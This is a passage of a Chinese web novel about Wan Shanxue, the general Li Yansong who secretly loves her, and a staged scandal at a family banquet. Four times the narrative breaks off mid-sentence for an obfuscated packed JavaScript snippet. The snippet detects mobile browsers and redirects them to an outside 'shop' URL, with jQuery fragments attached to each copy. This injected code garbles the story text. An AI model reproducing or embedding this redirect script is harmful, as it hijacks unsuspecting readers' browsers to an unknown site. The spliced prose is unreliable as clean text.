“哪怕牺牲也在所不惜？”崔明之冷笑道。 万山雪手指微微颤抖起来，她抿着嘴唇点点头。 “既然你执意如此……”崔明之拂袖而去，“那便罢了。” * 用过晚膳，忽地下起雨来，初时淅淅沥沥，越下越大，竟成暴雨之势，还响起了阵阵闷雷声。 醉仙楼的一个雅间里，黎偃松与江心澜对坐窗边，面前几碟小菜，可谁也没有动筷。 黎偃松能感觉到她眼里的探询之意，却顾左右而言他，江心澜端起杯子：“还准备瞒到何时？” 黎偃松淡淡笑了：“我不是有意瞒你，原想着可以永远藏住的……” 江心澜摇摇头：“这些年了，你的狗脾气一点儿没改，不做便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756677|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢，一出手就是惊天动地。我真做梦也没想到，你居然……不是，黎偃松，你真好本事啊，每次交集我们不是都在场么？到底何时而起的？” “我也不知道。我只知道，我必须要藏住，要藏好了。否则这世间污水都会泼向无辜的她。” “心澜，我从前不知道心动是怎样的感觉，遇见她我方明白。我亦辗转反侧想过千次万次，为何是她？为何偏偏是她？” 黎偃松的眼睛渐渐红了，他看向窗外，自顾自说下去，“我第一次跟着师父出征，在戈壁滩上看见海市蜃楼，明明知道是虚幻，还是忍不住朝着那里走去。” “或许，她就是我的海市蜃楼。明知不可为而为之。” 江心澜蹙眉道：“对我而言，你好，万姐姐更好，可是你俩……这恐怕只是你的执念罢了。爱这件事，我是没吃过猪肉但也见过猪跑。至少要彼此接触要互相了解，要相互磨合……总之，在我看来，你的爱意起得太过荒唐。” 黎偃松沉吟半晌说道：“也许爱如衣裳，有很多样式。” “我不是想要否定你的感情，只觉得这样太苦了，对方甚至都不知道你的心意。是，她要离开崔家，可她一定会对你心悦么？将来……我简直不敢想这条路有多难。” 黎偃松转动着手里的酒杯：“是，所以我不执着于得到。” 江心澜仰天长叹：“老天做什么要生出这么多痴男怨女来，我真理解不了啊！” “有一天你遇到那个人，便明白了。” “谢谢黎大将军，您盼我点儿好吧。” 两人前后走出雅间，忽地看见斜对面连廊上，一个鹅黄衣裙的女子正搀着崔明之踉踉跄跄走过来。 江心澜眼尖，拉着他避到一旁说道：“那姑娘你可还记得？正是崔明之的表妹乌思羽，对他很是爱慕。” 走过他们方才坐的雅间，往东边一排全是住宿的。 前面有小二引着，眼见就要踏入屋子，黎偃松忽然走出去喊道：“崔兄。” 乌思羽吓了一跳，回头见是他们，笑得很是勉强：“原来是黎将军和江姑娘。我表哥跟表嫂为了一点子事情闹起来，喝得醉醺醺的。外面下着雨，我正没愁没法处，送他先去歇息片刻。” 黎偃松走上前去，接过不省人事的崔明之：“那恰好，我送你们回府。” 乌思羽脸色微变：“不必劳烦将军，我……” 黎偃松不予理会，已经扶着人走开了。 江心澜笑道：“不麻烦不麻烦，乌姑娘不必客套。” 到了崔府门外，黎偃松将他崔明之交给管家，便转身离开。 江心澜不解道：“我真不明白，听万姐姐说，他们表兄妹素日就暧昧不清，腌臜之事若是成了，万姐姐岂不是离开得更快？你们的可能性也大一分，这正人君子你是非当不可么？” 雨丝落在黎偃松的肩头，他的目光沉沉，望向崔府深处。 就是这样一座只有黎府三分之一大的院子，困了她整整三年。 良久他才轻声道：“若是今夜我袖手旁观，来日难堪的仍旧是她。” 35. 第 35 章 因昨儿崔明之宿醉，万山雪催牧笛喊了几遍也不见醒来，只得去婆母屋里回明了情况。 尤氏打发丫鬟去看了，没奈何道：“这孩子，自来也不酗酒的，昨儿是怎地了？那你便先去去吧，你父亲母亲并宾客前替明之解释一声。珊瑚，去吩咐厨房煮醒酒汤备着，免得他起来头疼。” 万山雪下了台阶，迎面便看见乌思羽的丫鬟满面焦急地走来，她立住待要询问，那丫鬟只是匆匆行了一礼便直入尤氏房里了，红璎欲要发作，被她一捏手，低声嘟囔了两句。 只听那丫鬟说道：“太太，我们姑娘昨儿着了风寒，这会子浑身烧得滚烫，请太太着人请大夫看看吧。” 万山雪原打算去瞧一眼的，一想到她主仆俩的态度，径直上了车子。 橘霜小声说道：“奶奶可知道表姑娘为何发烧？我今儿听见两个小丫头子说，昨儿二爷从咱们院里出去后，一路往外走，乌姑娘见二爷脸色不好，不放心也跟了去。回来的时候二爷就喝得烂醉，还是黎将军给送回来的。” “黎将军？” “是，听说是酒楼里撞见了。” 红璎掂了掂手里的一摞棉甲说道：“得，两个天大的人情还没还上，又来一个。” “帮了谁，人情就记在谁头上，与我何干？”万山雪道，“棉甲都装对了吧？再检查一遍，江姑娘的不必担心，几位男子的错了可有的麻烦。” 红璎和橘霜一一核对，马车行至中途，听见一阵嘚嘚的马蹄声，万山雪将车帘掀开一角，惊喜道：“说曹操曹操到，那不是景副将么，江姑娘准在后面的车上。” 景明洲也瞧见了她，勒马停住，温声道：“夫人稍候，我去唤心澜过来。” 说话时后面的车子已经跟了上来，江心澜听见动静早掀开了帘子。 万山雪瞧见黎偃松坐在她对面，欲要邀请她同乘一车又不好开口，江心澜笑道：“万姐姐，我下来坐你车子，咱俩好说说话。” 万山雪连忙下车，将包袱交过去说道：“我听闻北疆苦寒，没有什么能惦记你们的，家里倒是有些上好的新棉花，就做了几件棉甲，诸位不要嫌弃才是。” 黎偃松伸手来接，冷不丁触碰到她的手腕，停顿一瞬，连忙收了回来。 “多谢夫人。” 江心澜原急着下车的，放下帘子打开最上面绣着几簇玉兰花的那件在自己身上比比：“真好看，咦，这个硬硬的是什么东西？” 黎偃松早瞧见礼袋上都缀着各人的敬称，拿出自己那件一摸，发现护心处也是一枚圆圆的硬物，似是平安扣的形状，他心头一热。 江心澜低声打趣道：“依我说，你比景明洲也就高三指，他那一件就昧下吧，免得将来穿馊了也舍不得换洗。” 黎偃松只觉得一股子热气自胸腔往上冒，直烘到脖颈上去，朝着外面扬扬下巴，唇角却有盖不住的笑意：“你只管说笑，当心她……别人听去。” 江心澜登上那边车子，他再也忍不住，将那件棉甲紧紧地护在怀里，一遍一遍摩挲着那枚平安扣的轮廓。仿佛能看见深夜红烛高照，而她坐在灯下一针一线缝制这件棉甲，又小心妥帖地将那枚平安扣藏进护心处。 他只觉圆满，在意的人，她祝你一生平安，还要贪图什么？ 万家大门前已经停了四五辆各色马车，还未进门，便听得里头传来阵阵笑语欢声，端的是热闹非凡。万有善带着万山锦迎了出来，好一番客气寒暄，自不必说。 兰芬执着江心澜的手向万山雪问道：“姑爷今日怎么没回来？” “明之原跟我一道走的，出门时掌柜的有些事情要讨他主意，稍候就来。”万山雪说着，不着痕迹地瞥了一眼万山绣，见她面上笑得端庄得体，那日的尖酸刻薄仿佛是另一个人所为。 兰雁歌与葛夫人正站在一处说话，瞧见她们来了，故意嗔怪道：“你们瞧瞧，关系最近的反而来得最晚，今日我必要姑姑姑父罚你三杯了。” 兰芬向葛夫人和黄夫人笑道：“我也不知哪辈子修来的福气，今儿能够这样得脸，众人都不弃嫌我们鄙薄，一邀即至，赶明儿必要挑个好日子好好谢谢菩萨。” 葛夫人打趣道：“不说给我们贺喜的多上几道酒菜，倒先谢起菩萨来了。” 众人正说笑着，万山绣往后一指笑道：“主角登场了。” “姐姐！”万山毓穿着一身崭新的戎装从回廊那头快步走来，一改往日吊儿郎当的模样，阳光照在年轻的脸庞上，显得意气昂扬。 “这身戎装很衬你，”万山雪瞧见改头换面的弟弟，眼底不由得藏了泪，细细替他整理领口，指尖在加厚的绒边上轻轻抚摸。 “黎将军今日一早着人送来的，还有北疆兵将专用的牛皮护腕，说是能防冻伤。”他满脸兴奋。 待众人不注意，他俯在万山雪耳边轻声说道：“姐姐，将军说第一年有36两的军饷，往后每多一年就增加一两，遇到战事还会有额外的奖赏。以后我把军饷都留给你，你想买什么便去买，不要委屈自己，也别找崔家要。” 万山雪鼻头一酸，几乎坠下泪来：“说的什么傻话，你自己留在手里用，在军营里要跟大家处好关系，难道就不用花钱么？再说你长大了，也要攒一些钱在自己手里。” 她朝他使了个眼色，有意提高声音道：“虽说父亲母亲不指望你积攒钱财娶媳妇，可你这大手大脚的毛病还是要改的，往后成家立业了，人家跟着你也少生闲气。” 偏是葛夫人听岔了，问道：“娶媳妇？毓儿是待娶了媳妇再去参军？黎将军如何等得及那许多日子？” 众人都朝这边看过来，万山雪轻轻将弟弟手心一捏，笑道：“我是说，他还没跟黎将军走呢，就突然萌发了一股子要改过自新的志气，这会子巴巴地说，以后军饷都不乱花，攒着将来成家时也好让父亲母亲少操些心。你们不知，我却看得清清楚楚母亲素日如何疼他的，连弟弟妹妹都比下去了，能不为他早早虑下么？等着他来赌咒发誓，黄花菜也凉了。” 说得众人都笑起来，葛夫人说道：“真个的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756678|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养儿养女，做娘的心肠都是一样的，恨不得将他们的路铺到下一代去，才能够稍稍放心些。” 兰芬亦笑道：“可是也不白付出，就拿雪儿毓儿来说，虽不是亲自生的，到底兼着两重亲，我疼他们，他们反过来也极依恋我。雪儿就不用说了，整日大事小情没有不跟我商量的，毓儿到底是男儿，话又少些，今日早晨跑来给我磕了个头，不说话，只是腼腆地笑，他笑着，我哭着，倒流了两包子眼泪。” 万山雪见舅母黄夫人眼里满是哀伤，情知她想起了表哥，连忙拿话岔开说道：“今日欢欢喜喜的，咱们倒越说越伤心，过了这一日，还不知何时聚得这样整齐，且去园子里逛逛吧。” 兰芬拭泪道：“正是正是，我那日去黎府，见他们招待客人搭的那个凉棚很是有趣，也依葫芦画瓢着人弄了两个在水边，咱们且去耍子。” 万家比不得黎家宽阔，因而在池塘东西两侧就水各搭建一个长棚纳凉，一边招待男宾，一边招待女客。 兰雁歌低头拈冰镇的梨片吃，万山雪注意到她头上的白玉簪子，雕的是合欢花，花瓣层叠舒展，叶子蜿蜒交错，顺着纹路细细辨认，发现竟然巧妙地组成了一个“雁”字。 她小声说道：“啧啧，这等巧妙心思，必是葛大才子所为吧。” 兰雁歌红了脸说道：“山绣姐姐方才取笑过，你又来。” 却又掩不住小甜蜜说道：“他改了七次才定下来，请玉匠做的。” “我昨儿还想着你们大婚，我给你添什么新款式的首饰才能讨你喜欢，有人家这手笔，我是不敢比的了，还是直接给你钱吧。” 兰雁歌搂住她撒娇儿：“好姐姐，你能来见证我大婚，我就高兴极了，要什么劳什子礼物。” 万山雪捏捏她的脸颊，戏谑道：“我不仅要去，还要提前几日去，免得你这个小新娘太急着见新郎，偷偷跑了。” 兰雁歌羞得绯红满面，不依不饶追着她打了两下，瞧见黄夫人投过来一瞥，立即老实站好，悄悄嘟囔道：“我娘说姐姐当下婚姻不很如意，不许我在你面前得意忘形，惹得姐姐难过，可我真没那心思，只是想跟你分享喜悦罢了。” 万山雪重新帮她簪好头发，说道：“这尘世间男子的真心本就如稀世明珠，岂能人人得之？见妹妹得了，就譬如我得了是一样的，欣慰有之，羡慕有之，愤恨嫉妒自苦，却是半分也无。” 姐妹俩这厢说着悄悄话，却听葛夫人拉着江心澜开怀笑道：“我还疑惑记性差了，错将你的名字记成了心宁，哪儿想得到是你特特改的！你这姑娘，当真世间少有。” 万山雪留神打量，发觉葛夫人的温柔和蔼简直是骨子里带出来的，别看满京城的女眷们提起江心澜来都啧啧称叹，实则背后对她的评价都如崔明之母子一般，说她过于大胆，骂她不守闺范离经叛道。 她暗暗想道，便是悲观点儿设想，将来他小夫妻二人有什么不合，得了这样慈善的婆婆，表妹的一生也该是极安稳幸福的。 如此一想，颇略安慰。 36. 第 36 章 水风穿堂带着丝竹阵阵与那厢女子们的说笑声而过，黎偃松本就话少，坐在桌旁沉默地听着景明洲与众人说笑。 有位年轻官员对葛川笑道：“你们瞧，葛兄这双眼睛都快黏到对岸了，婚期定下，眼见就要娶进门了，还看得这样紧。” “你懂什么，就譬如佳节前夕最是氛围浓厚一般，婚期临近之时，才最让新郎官心痒难耐。” 你一言我一语，起先生疏沉闷的场面便荡然无存，饶是葛川并不是内向之人，也被闹了个大红脸。 黎偃松的目光落在葛川腰间，那里系着一个针脚粗糙的荷包，边角磨得发白，显然已经贴身佩戴多年。 葛川注意到他的凝视，待众人转了话题后，笑着低声解释道：“这是她初学针黹时的大作，扎破了好几次手好容易才完工，若是丢弃了怪可惜的。左右咱们男子又不图什么好看，只是要个心意。” 说话时，手指不住地抚弄那荷包，眼神里满是温柔缱绻。 两情相悦，原来是这样的甜。 黎偃松点头，景明洲在旁说道：“待葛兄大婚时，我们只怕没法再赶回来了，今日宴席上咱们就多饮两杯，预祝福二位同心同德，百年好合。” 这时万山锦引着崔明之走了过来。 崔明之一身雨过天青色的杭州直裰，愈显俊朗。 黎偃松不知怎地，直往他腰间看去，那是一个极精致的荷包——宝蓝色底子，用金线绣出繁复的纹路，连莲花瓣上的露珠都用深浅不同的丝线绣出了立体感，一望而知出自顶级的绣娘之手。 他想起棉甲上的针脚来，功底虽不差，但这荷包决不是出自于她之手。 那就好。 这个念头一出，他先吓一跳，自嘲道，好你个黎偃松，还没怎样呢，就开始争风吃醋了。 自从这恼人的情根种下，他总觉得自己一腔子勾栏做派，拈酸吃醋又想争又要抢，还偏偏来不得明的，真真是憋屈到了极致。 寒暄坐定后，万有善亲自为崔明之斟上冰镇的梅子浆：“你母亲总惦记着你爱这个滋味，早早叫人备下了，今日回去多带两坛子，给亲家太太也尝尝。” 黎偃松冷眼看着，颇有些奇怪，按着崔明之对待万山雪的态度，他很难理解，万有善对于这女婿不仅不冷淡，反而透着一丝巴结谄媚的态度。 皇商，地位再高也是商。如今虽有许多人图利，与皇商结亲的为官之家并不算稀奇，可到底官架子是十足的，总不至如此。 崔明之恭敬地接过来，再三称谢，又告罪道：“昨儿小婿喝醉了酒，今日雪儿再三呼唤不醒，她独自负气先回来了。家母将小婿叫起来好一通叱责，幸而不曾错过开宴时间，只是不恭得很，恳请岳父大人见谅。” 万有善脸上明显闪过一丝意外，随即笑道：“贤婿生意繁忙，应酬交际在所难免，自家人何须客气，只是务必要当心身体。雪儿每每恃宠生娇，回头我定要好好说说她。” 黎偃松愈发诧异，揣测兴许是为结婚三年无所出才如此。可是一来这样的事情也不独他家才有。二来，到底是谁的毛病还未可知。 万有善对待女婿竟是十二分小心客气，连他的道歉仿佛都受宠若惊似的。只怕不单单为无子一事，这其中定有隐情。 “说起来还要好好感谢将军，”崔明之拱手走向黎偃松，“听说昨儿将军与江姑娘约在醉仙楼闲谈，却为了崔某人不顾大雨相送，实在是过意不去得很。” 黎偃松颔首道：“崔兄何须多礼，恰巧路过见乌姑娘求助，举手之劳罢了。” 崔明之脸色一僵，随即笑道：“妹妹年纪小，唯恐我归家太晚惹她嫂嫂生气，下着大雨也不依不饶，定要将我从席上拉走。” 万有善这才听明白了，忙道：“前番将军救了小女，收了犬子入伍，如今又冒雨送小婿回家，几次三番，真叫下官不知道何以言谢。” 正说笑时，忽然听到一阵爽朗的声音自转角处传来：“沛安的谢意先收一收，待老夫先来。” 黎偃松不用回头也知道是金弘，他过来时，连满院蝉声都静了一瞬。 五十余岁的人，笑起来面容慈祥，唯独那双眼亮得骇人，仿佛一眼便能透过五脏六腑直至内里。 他行走时步幅不大，脚下千层官靴落地无声，举手投足却都透着威严。 一院子人起身相迎，万有善回头正要叱责下人，金弘已经摆手制止：“是我不许他们通报，免得扰了众位兴致。好好的家宴，又不是在朝堂之上，闹得人人屏气凝神有什么趣儿？” 后面两个随从抬着个檀木箱子进来，当着众人打开，里面竟是整套的崭新战甲，甲片在阳光下泛着凛冽寒光。 “黎将军此次给我帮了大忙，若不是将军率人及时出手，这伙人一路杀人越货，不知道要伤及多少无辜之人。这是老夫特地命龙泉匠人打造的盔甲，还望将军笑纳。” “金相国费心，”黎偃松客气道：“本就是末将分内之事，相国已数次关心奖赏，愧不敢当。” “将军年少英杰，当年跪求先皇之事至今仍在京中传颂，激励着无数有志男儿为国效力。如今边疆太平，百姓安于生计，此皆将军浴血奋战、扬我国威之功。我等在朝中每每思及边关将士之辛劳，便感慨不已。这小小盔甲，将军何必客气？” 黎偃松亦客气回道：“既是相国一番盛情，却之不恭，晚辈便含愧领了。” 金弘亦又向众人笑道：“我今儿要当着诸位向将军徇私一回。万大人身为我府上主簿，勤勉王事，如今其公子既得将军青眼，还望将军不吝教导，好生雕琢历练一番。” “相国乃我朝柱石，陛下肱骨，不仅终日为国操劳，还要关心为国育良才之事，何来徇私一说？”黎偃松笑道，“再说万大人的长公子，一心向武，不怕大人生气，起初我还不看好，只恐是一时兴起，毅然拒绝。公子亦不气馁，苦练数日再去相求，我观寥寥数日，进步神速，已知其效国之心赤热。” 万有善此刻脸上当真是双倍的光彩，连忙躬身应和：“相国抬爱，下官惶恐。将军威仪，犬子能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756679|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 追随左右，莫感荣幸。” 金弘一抬手，随侍在侧的心腹管家便捧上来几个锦盒并一一开启。 “今日虽是为长公子践行，也不能薄了万家其他几个孩子。些许薄礼，聊表心意。” 黎偃松抬眼看去，见给万山毓的长方锦盒里，是一把龙泉宝剑。万山锦的礼物是一套上等的文房四宝和四本难得的古籍孤本，万山绣得了一对晶莹剔透的翡翠镯子，而给万山雪的则是一支珍珠步摇。 两位公子应声出列，行礼谢过。 万山雪姊妹也娉娉婷婷而来，黎偃松坐得端正，余光将一切纳入眼底。 只见万山绣穿着烟霞色罗裙，裙摆绣着一圈儿飞蝶，那蝴蝶活灵活现，随着她的步子似是要飞起来了。一旁的万山雪装束简约，经妹妹一衬，令他想起北疆随处可见的白杨，心头一阵没来由的酸软。 他曾经见过手下一个士兵给心爱的姑娘写书信，满满五页纸，尽是絮叨。心疼对方孤零零在家乡等他归，忧心她春日疹子发作，忧心她在田间劳作辛苦，又忧心初春井水寒凉，要她每每洗漱务必用热水，婆婆妈妈琐碎到不可思议。 而今才后知后觉发现，这或许就是喜欢到骨子里才会有的反应。 无论她过得好与不好，总觉心疼。 细细密密的疼痛，无声无息，又使人喘不过气来。 就如他此刻，看她安安静静走过来，嘴角噙着得体的微笑，疼；看见她穿得不如妹妹华贵，疼；看她比初见时消瘦了一些，疼。 万有善当着众人盛赞万山锦兄妹，她微微抿嘴垂首，睫毛在脸上投下小小的阴影，他的心也跟着揪了起来。 他坐在树荫里与景明洲说话，余光捕捉到她与弟弟并肩离开时忽地止住步子，为弟弟摘下肩上的落花，又温柔地拍了拍他的后背。想到从今以后，她每每因为弟弟想起北疆，或许也会捎带想起他，满腔心疼里便生出了安慰。 蓦地记起许多年前，每每到爹爹要奔赴军营前的一晚，母亲总是坐在灯下缝缝补补，整理行装，而父亲总是站在窗外看着，却不肯进去。 景明洲推了推他：“你今日怎么有些魂不守舍的，要离京了心中难过？” 经他一岔，这才摆脱了弥漫的神思，他忽地发觉有一缕目光似乎也格外注意万山雪。是金弘身旁那个唯唯诺诺的管家。 他看向万山雪的眼神似乎格外不友好。 黎偃松暗暗嘱咐金鲤着人去查，顺便查一下当初崔万两家如何联姻的。待重新回来时，正待开席。 金弘不过略坐坐就离开了，万有善与一众年长男性另置一席。留下年轻子弟如脱了缰的野马，在黎偃松面前尚收敛着，抓着好脾气的葛川一个劲儿地说笑劝酒。 黎偃松见他三四杯酒下肚，已有些步履不稳，便帮着挡了几杯酒。偏葛家儿郎是个温文尔雅面皮薄的性子，禁不住吵嚷起哄，又勉力喝了几杯，晕晕乎乎就要离席。 黎偃松不放心跟了出去，见他的小厮陪在身边，嘱咐好生伺候，也就放心回来了。 37. 第 37 章 万山雪一直帮着兰芬照应客人，饭也没好生吃两口，瞥见橘霜悄悄对她使眼色，心下明白，趁人不注意走了出来。 到了僻静处，橘霜说道：“春草嬷嬷告发花露传递书信之后，花露被太太命人下死手打了一顿，能下床之后就赶出去了。翠雀跟她一向要好得很，听她说没多久，就嫁了一个外乡人，如今不知下落。” 万山雪心下有些失望，橘霜又道：“不过也不是一无所获，我见那翠雀提起花露好生可惜，说是府里拔尖的模样，还会写字。我故作不信，说此前从未听闻她识文断字的。她便力证，拿本书给我看，说花露走的时候给她留的，彼此做个念想。我看里面零零散散夹着好些纸条，写着些不知所云的话，便悄悄拿了几张给奶奶看。只是这些字迹都不一样，不知哪个是她写的。” 万山雪一一看来，只见这些字迹有的如大家闺秀工整秀丽，有的如乡野村夫粗拙潦草，内容则是摘自书中的，夹杂些许唏嘘感慨之语。 她一笔一笔顺着笔迹比划，忽地停在“之”字的转折处，那是所有纸条里的之字都有的、几乎一模一样的顿挫。 她疑心自己看错了，再三细细辨认，发觉那些字虽然各不相同，横折弯钩间，却总藏不住一股相似的筋骨。就好似一个人无论怎样变换装束，举手投足总会有熟悉的痕迹。 她冷笑一声:“好个人才，这丫头是打小就跟着的，兰芬未必就舍得丢手，随外乡人远嫁怕只是个掩人耳目的法子，再留心打探，我就不信狐狸尾巴能藏一辈子。” 橘霜点点头轻声道：“正是如此。红璎机灵，说不定会打探出更多的消息。我来是想问问奶奶，要不要去大爷屋子里看看，我是担心那种慢性毒药，倘使真是太太所为，只怕……” “应是不会，我起初也怕过，后来仔细想想，祖母在时隔三差五找大夫来给我们把脉问诊，下药是很容易被发现的。再说，将我姐弟俩养废，已经到达了她的目的，没必要再铤而走险。不过毓儿和阿母走得近，你找机会去他房里跟丫头们聊聊天也好，不定哪个关窍就能寻到线头。” 橘霜想了想又道：“今儿奶奶跟舅太太在凉棚说话时，我路过二小姐屋子里，听见她在发脾气打骂丫头，随后又没事儿人一样出来了，倒不知为着何事。” 万山雪一时想不出缘由，恐怕出来太久惹兰芬猜疑，便又回去了席上。 兰芬向她身后张望道：“在院子里可曾瞧见你妹妹？” 万山雪疑惑道：“不曾，妹妹方才不是还在席间么？” 兰芬微微蹙眉，过了会子仍是心神不宁的模样，走过来低声说道：“雪儿，你替我照应着，我这会子心里突突的，有些不舒服。” 万山雪关切说道：“可是饮多了酒？母亲就去歇歇，我虽然愚笨些，总也不至于砸了场子。” 兰芬才刚走到门口，忽地跑进来一个丫鬟慌慌张张的失了礼仪，冲到兰芬面前浑身直颤：“太太，太太不好了！葛公子他……他……” 万山雪心头直跳，难不成是被闹酒太过伤了身子？ 待要上前去细问，那丫鬟已经被兰芬一个巴掌扇到旁边：“该死的小蹄子，谁许你张张狂狂，扰了贵客兴致！” 兰雁歌脸色唰地一下就白了，三步并作两步冲过去抓住那丫鬟道：“你给我说清楚，葛公子怎么了？” 那丫鬟面无人色，几乎要哭出来：“葛公子喝多了，拉着……拉着二小姐，两人抱在一起，衣衫不整……这会子……” 兰芬挣扎着上去，拚命又挣着打了几个巴掌，可怜那丫头半边脸瞬时就紫胀起来。 兰雁歌身子一软，险些栽倒，万山雪眼疾手快扶着她，叱责道：“休得胡言乱语！” 话虽如此说，心早已沉了下去。 “去看看！定是有什么误会。”黄夫人脸色铁青，强撑着站起来，声音里是压不住的怒火。 往客房去的回廊转角处，早就跪了一圈儿的丫鬟仆妇，只见万山绣发髻散乱，钗环斜坠，披着件外衣正掩面哭泣。 她身边立着醉意朦胧的葛川，几乎站立不稳，外袍松散露着中衣，脸上还带着不知发生何事的茫然。 兰雁歌只看了一眼，就扭过头来，一张俏生生的脸惨白如纸，泪水汹涌而出，伏在万山雪肩头，哭得哽咽难抬。 葛夫人上前给儿子一耳光，骂道：“作死的孽障，还愣着做什么，快与我分说清楚，究竟是什么缘故？” 葛川听见兰雁歌的哭声，急着要往这边来，奈何醉酒太深，膝下一软反而跌在地上，他慌忙解释道：“母亲，儿子没有不恭……我醉了酒，难受得厉害，瑞吉引着我来客房休息，不知怎地就成了这样……” 场面混乱，宾客们窃窃私语声如蚊虫嗡鸣。 万山雪扶着几乎要将肠子呕出来的表妹，往日巧笑倩兮的姑娘这会子哭得如同风中落叶，一声声呜咽如石块砸在她的心上，她死死咬住嘴唇，才能抑制住心里冲天的怒火。 这母女俩当真是见不得别人有点子好东西，凡是能入她们眼的，用尽手段也要抢过去。她恨不得冲上去将这母女俩的假面给撕碎。 她深吸一口气，强压下叱骂的冲动，越是这种场合越要冷静，她示意舅母扶住兰雁歌，上前一步，面上带着分量正好的惊愕忧虑：“妹妹可还好？这……这是怎么闹的？葛公子醉得如此厉害，身边怎会连个跟着的小厮也没有？” 瑞吉跪在地上将头磕破了，血迹斑斑：“回奶奶的话，小的一直在门外守着。来了个万府的丫鬟说请我帮忙抬东西，我就过去了，哪知道回来竟然出了这事……” 那小厮懊悔不已，抬手往自己脸上一个劲儿地扇巴掌，一脸鼻涕眼泪，那个悔恨劲儿，装是装不出来的。 黎偃松在旁看着，心里明镜似的。 万山绣听了这话，扑在万山雪怀里哭得浑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756680|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身颤抖说道：“姐姐，我可怎么办呢……我走过来时瞧见葛公子昏昏沉沉往外走，见他醉得厉害，只想着是客人，断不能摔了磕了，更不要说他还是表妹的贵婿，便着丫鬟去叫人，我在旁边看一下，不料葛公子酒后无德……” 万山雪又帮妹妹整了整衣衫，说道：“妹妹素来最重规矩体统，深知男女大防，怎能独自一人留在醉酒的男子身旁？还是表妹的准夫婿。瓜田李下，知道的说是妹妹好心，不知道的，岂不是白白毁了妹妹的清誉？” 黎偃松站在人群之后，又是欣慰又是惆怅。她成长了，再不是那个直来直去，容易受伤的女子了。她学会了反击，学会以其人之道，还治其人之身，不动声色间将匕首抵住算计者的咽喉。 成长如此疾速的背后，不知道独自流了多少眼泪。 “不知廉耻的东西！” 万有善拽过万山绣，狠狠打了一巴掌，那力道之重，连万山雪都觉得耳朵嗡嗡响。 万山绣被打得猛一趔趄，捂着脸，难以置信地看着素来极宠爱她的父亲，哭声都止住了。 兰芬尖叫一声，像护崽的母狼般扑上去，一把将女儿牢牢地搂在怀里，哭喊道：“你打她做什么，众人都听到了，绣儿分明是一片好心，她也是受害者。老爷心疼外甥女是好，也不能不管不顾给女儿泼脏水啊！” 她猛一抬头，目光从万山雪身上掠过，委屈说道：“当年雪儿执意要嫁，您气得几天几夜不吃不睡，最后不也……到底是身上掉下来的肉，无论怎样淘气，您何尝动过一个手指头？还劝我说，孩子们年纪小，一时做得不对，做父母的也要帮忙担着。如今到了绣儿，她原是年纪小，一味心肠软，考虑不周，加上葛公子醉酒才出了这茬子事儿，又不是那等狐媚子，存心勾引谁……当着众人，我张狂一回，咱们京城如葛公子一般无二的青年才俊并不少，咱们女儿不是那等眼皮子浅的…… 每一个字都如烧红的烙铁，狠狠烫在万山雪的心上。 黎偃松眼睁睁看着她挺立的脊背坍塌了一瞬，又慢慢直了起来。 不知这一瞬，她想到了什么。 多年前那个抱着小兔子的明媚少女，如今立在这泥淖里，这样孤立无援。 就在场面僵持不下之时，一个温润的声音打破了沉寂：“岳父岳母大人，诸位长辈贵客，请听崔某一言。” 是崔明之。 他面色平静，步履从容站在万山雪身边，对着宾客团团抱拳说道：“今日本是为内弟践行之喜日，天气暑热，酒酣耳热，偶然发生了些许误会，扰了诸位雅兴，实是在下与岳家招待不周，还请诸位先行回席，饮些醒酒汤，稍后就有新排的曲乐奉上，以尽余兴。” 黎偃松看着他谈笑自若间疏散宾客，带着自然而然的主人翁姿态，一股子难以言喻的酸涩与闷堵在胸腔里弥漫。 离开万家许久，那声“内弟”“岳父岳母”还在耳边回荡。 38. 第 38 章 宾客散尽，余下葛家、兰家与万家诸人坐在一起，沉沉地都不作声，起先还有兰雁歌的声声啜泣，到后来她好似流干了眼泪，只是木然地枯坐着，往日灵动的眼眸此刻毫无生机。 万山雪不忍再看，紧紧地将她搂在怀里。 